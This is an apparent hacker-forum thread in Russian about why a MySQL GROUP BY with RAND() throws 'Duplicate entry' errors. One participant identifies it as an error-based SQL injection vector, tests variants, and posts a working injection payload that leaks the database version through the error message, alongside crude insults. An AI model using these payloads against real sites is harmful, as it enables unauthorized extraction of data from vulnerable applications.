PDA

Просмотр полной версии : Хак-конструкция на MySQL


artkar
02.12.2016, 02:17
А как эта конструкция работает:

SELECT COUNT(*)

FROM (

SELECT 1 UNION SELECT 2 UNION SELECT 3

)x

GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))

типо как происходит план запроса ?

В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....

artkar
02.12.2016, 22:58
Ну чё притухли школота? Ктожи объяснит дяде арткару как работает этот запрос?

Что никто не знает?

BabaDook
04.12.2016, 01:29
Скажу тебе как школьник, забей ты , что это уйня, что то ***ня, лучше по утро дрочнуть

t0ma5
05.12.2016, 14:13
↑ (https://antichat.live/posts/4019836/)
А как эта конструкция работает:
SELECT COUNT(*)
FROM (
SELECT 1 UNION SELECT 2 UNION SELECT 3
)x
GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))
типо как происходит план запроса ?
В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....


ну ахуеть, назвал всех школьниками и просишь объяснить

что там у тебя в group by игнорируется? подзапросы в нем работают


select 1 from(select 1)x group by (select 1);

ну и ничего мистического не вижу что в твоем примере отрабатывает concat, а почему селектит версию базы а не COUNT(*)? так наверно потому что запрос падает с ошибкой и это внезапно называется error-based вектор

удивительно какие запросы может переваривать мускул


select@x,/*!{$from(select(@x:=version()))}*/,0.3from(select~@)x;
+------+--------------------------------+-----+
| @x | {$from(select(@x:=version()))} | 0.3 |
+------+--------------------------------+-----+
| 1 | 5.6.31 | 0.3 |
+------+--------------------------------+-----+

если ты такой дядька, то может знаешь сишку, откроешь сорцы парсера да расскажешь нам сам?

t0ma5
05.12.2016, 15:10
вообще мне тоже не понятно почему работает именно так, count в некоторых случаях при использовании rand делает несколько выборок, что как то странно


select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',rand(0)*2);
+----------+
| count(*) |
+----------+
| 1 |
| 1 |
| 1 |
+----------+
3 rows in set (0.00 sec)

видимо натыкается на использование одной и той же колонки, судя по ошибке, правда не понятно почему он не падает в примере выше, а только при использовании floor


select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'qqq:1' for key 'group_key'

что то явно хотели оптимизировать при вычислении запроса и х*й угадали походу

t0ma5
05.12.2016, 16:06
похоже если какую то часть конструкции не удаётся высчитать сразу, то он таки прогоняет запрос для каждого union


select count(*) from(select 1 union select 2 union select 3)x group by (rand(1)*2);
+----------+
| count(*) |
+----------+
| 1 |
| 1 |
| 1 |
+----------+
3 rows in set (0.00 sec)

ну и число похоже должно быть не целочисленное


select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(1)*2) + 1);
+----------+
| count(*) |
+----------+
| 2 |
| 1 |
+----------+
2 rows in set (0.00 sec)

select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(0)*2) + 1);

ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

select (md5(rand(1)*2) + 1);
+----------------------+
| (md5(rand(1)*2) + 1) |
+----------------------+
| 4 |
+----------------------+
1 row in set (0.00 sec)

select (md5(rand(0)*2) + 1);
+------------------------+
| (md5(rand(0)*2) + 1) |
+------------------------+
| 1.7976931348623157e308 |
+------------------------+
1 row in set (0.00 sec)

думаю никто не расстроится если я тут пофлужу

------------------------------


select md5(rand(0)*2);
+----------------------------------+
| md5(rand(0)*2) |
+----------------------------------+
| 810e2137cdf4bde97083b021c6b34a09 |
+----------------------------------+

0e кастование типов, ноги float растут отсюда, не забыть найти линк

----------------------------------------------


> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 1));
ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

> select (md5(rand(19)*2) + 1);
+-----------------------+
| (md5(rand(19)*2) + 1) |
+-----------------------+
| 977882091 |
+-----------------------+
1 row in set (0.00 sec)

мде

-------------------------------------------------


> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 999));
ERROR 1062 (23000): Duplicate entry '5.6.31:999' for key 'group_key'

5.6.31:1 .... 5.6.31:999

куда девается (md5(rand(19)*2)

t0ma5
05.12.2016, 21:43
стопудово это с rand накосячили, пофазил другие функции, такого поведения нет

рабочий вектор 'Duplicate entry' для error-based

> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1)));

ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1)));

ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2))

нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить

-------------

ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло

artkar
12.12.2016, 18:50
А чёйта мой топег про MySQL перенесли из Раздела "MySQL" в Вэб-уязвимости? Мне та в принципе пох, но просто интересно...